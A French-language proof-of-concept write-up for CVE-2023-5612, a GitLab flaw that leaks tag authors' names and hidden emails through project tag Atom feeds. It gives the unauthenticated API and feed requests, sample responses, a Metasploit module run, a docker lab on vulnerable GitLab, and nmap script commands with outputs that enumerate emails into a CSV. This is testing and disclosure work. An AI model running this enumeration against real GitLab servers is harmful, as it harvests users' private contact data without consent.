Disclosure of the public email in Tags RSS Feed

https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. This is a medium severity issue (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 5.3). It is now mitigated in the latest release and is assigned CVE-2023-5612.

https://nvd.nist.gov/vuln/detail/CVE-2023-5612

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled.

Description

Une vulnérabilité a été découverte dans GitLab, permettant d'obtenir la liste des adresses e-mail des utilisateurs (et de leurs noms), même lorsque certains utilisateurs ont un profil masqué. Cela provient de la possibilité d'accéder de manière non authentifiée à l'endpoint /api/v4/projects. Pour chaque projet, il est possible de récupérer web_url, puis d'envoyer une requête à l'endpoint /-/tags?format=atom, recevant en réponse un XML dans lequel le nom et l'adresse e-mail de l'utilisateur sont notamment visibles :

...
    <name>test</name>
    <email>[email protected]</email>
...

NSE Dev

PoC :

À noter : il existe un script nse censé viser cette vulnérabilité, mais si l'on prête attention à son nom et à son contenu, il devient évident qu'il s'agit d'une erreur et qu'il ne concerne pas cette CVE.

Algorithme :

Récupérer les noms de tous les projets disponibles :

GET /api/v4/projects?output_mode=json HTTP/1.1

Exemple de réponse :

[{"id":3,"description":null,"name":"project3","name_with_namespace":"test / project3","path":"project3","path_with_namespace":"test/project3","created_at":"2025-09-13T16:39:05.885Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/test/project3.git","http_url_to_repo":"http://localhost:8929/test/project3.git","web_url":"http://localhost:8929/test/project3","readme_url":"http://localhost:8929/test/project3/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:39:05.885Z","namespace":{"id":4,"name":"test","path":"test","kind":"user","full_path":"test","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80\u0026d=identicon","web_url":"http://localhost:8929/test"}},{"id":2,"description":null,"name":"project2","name_with_namespace":"testgroup / project2","path":"project2","path_with_namespace":"testgroup/project2","created_at":"2025-09-13T16:35:26.979Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/testgroup/project2.git","http_url_to_repo":"http://localhost:8929/testgroup/project2.git","web_url":"http://localhost:8929/testgroup/project2","readme_url":"http://localhost:8929/testgroup/project2/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:35:26.979Z","namespace":{"id":3,"name":"testgroup","path":"testgroup","kind":"group","full_path":"testgroup","parent_id":null,"avatar_url":null,"web_url":"http://localhost:8929/groups/testgroup"}},{"id":1,"description":null,"name":"test","name_with_namespace":"Administrator / test","path":"test","path_with_namespace":"root/test","created_at":"2025-09-12T15:03:47.319Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/root/test.git","http_url_to_repo":"http://localhost:8929/root/test.git","web_url":"http://localhost:8929/root/test","readme_url":"http://localhost:8929/root/test/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:19:10.901Z","namespace":{"id":1,"name":"Administrator","path":"root","kind":"user","full_path":"root","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon","web_url":"http://localhost:8929/root"}}]

Pour chaque projet, récupérer les tags au format atom-xml :

GET /test/project3/-/tags?format=atom HTTP/1.1
GET /root/test/-/tags?format=atom HTTP/1.1

Exemple de réponse :

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
<title>project3 tags</title>
<link href="http://127.0.0.1:8929/test/project3/-/tags?format=atom" rel="self" type="application/atom+xml"/>
<link href="http://127.0.0.1:8929/test/project3/-/tags" rel="alternate" type="text/html"/>
<id>http://127.0.0.1:8929/test/project3/-/tags</id>
<entry>
  <id>http://127.0.0.1:8929/test/project3/-/tags/1.0.0</id>
  <link href="http://127.0.0.1:8929/test/project3/-/tags/1.0.0"/>
  <title>1.0.0</title>
  <summary></summary>
  <content type="html"></content>
  <media:thumbnail width="40" height="40" url="https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80&amp;d=identicon"/>
  <author>
    <name>test</name>
    <email>[email protected]</email>
  </author>
</entry>
</feed>

Dans ce fichier, on voit les champs name et email de tous les auteurs de tags du projet. Leur divulgation à un attaquant est précisément le principe de la vulnérabilité.

Exemple d'exploitation réussie :

# Metasploit
use auxiliary/gather/gitlab_tags_rss_feed_email_disclosure
set RHOSTS 127.0.0.1
set RPORT 8929
run

Résultat :

auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1
[+] Scraping ALL projects...
[+] name: test
[+] e-mail: [email protected]
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed

NSE Test

Le test a été réalisé sur GitLab CE 16.5.10

`docker-compose.yml`

services:
  gitlab:
    image: gitlab/gitlab-ce:16.5.10-ce.0
    container_name: gitlab-ce
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://localhost:8929'
        gitlab_rails['gitlab_shell_ssh_port'] = 2424
    ports:
      - '8929:8929'
      - '443:443'
      - '2424:22'
    volumes:
      - '$GITLAB_HOME/config:/etc/gitlab'
      - '$GITLAB_HOME/logs:/var/log/gitlab'
      - '$GITLAB_HOME/data:/var/opt/gitlab'
    shm_size: '256m'

Lancement et préparation de l'environnement de test

Déployer le gitlab-ce vulnérable dans docker :

sudo docker compose up
sudo docker exec -it {CONTAINER_ID} grep 'Password:' /etc/gitlab/initial_root_password
# Do not decode the showed base64 value, just use it as is
# Change root's creds to smth like root:toortoor

Le préparer :

se connecter en tant que root
créer un projet
créer un tag pour le projet en tant que root
créer l'utilisateur test, se connecter en tant que test
créer un projet en tant que test
créer un tag pour le projet en tant que test

Lancer le script :

# full scan
nmap --script cve-2023-5612 <TARGET> -p <PORT>
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=full
# fast scan
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=fast

Exemple d'exploitation réussie :

nmap -Pn --script cve-2023-5612 localhost -p 8929 --script-args check_mode=full
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:39 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[+] Checking for vulnerability...
[+] Projects found:
        http://localhost:8929/test/project3
        http://localhost:8929/testgroup/project2
        http://localhost:8929/root/test
[+] Results:
        email,username,project_url
        [email protected],test,http://localhost:8929/test/project3
        [email protected],Administrator,http://localhost:8929/testgroup/project2
        [email protected],Administrator,http://localhost:8929/root/test
[+] Writing results to ./gitlab_enumerated.csv...
[+] Done
#############################

Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE
8929/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds
# view saved results, show only emails
tail -n +2 gitlab_enumerated.csv | cut -d "," -f 1| sort -u
[email protected]
[email protected]

Exemple d'exploitation échouée sur une cible qui n'est pas GitLab :

nmap --script cve-2023-5612 localhost -p 1337
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 06:35 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[-] Error: The target is not a GitLab instance. Exiting...
#############################
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE
1337/tcp open  waste

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

Exemple d'exploitation sur une cible réelle non vulnérable :

nmap -Pn -p 7180 --script cve-2023-5612 <IP-addr> --script-args check_mode=fast
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:37 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[+] Checking for vulnerability...
[-] Projects list seems to be empty or unavailable
[-] Target is NOT vulnerable
#############################

CVE-2023-5612

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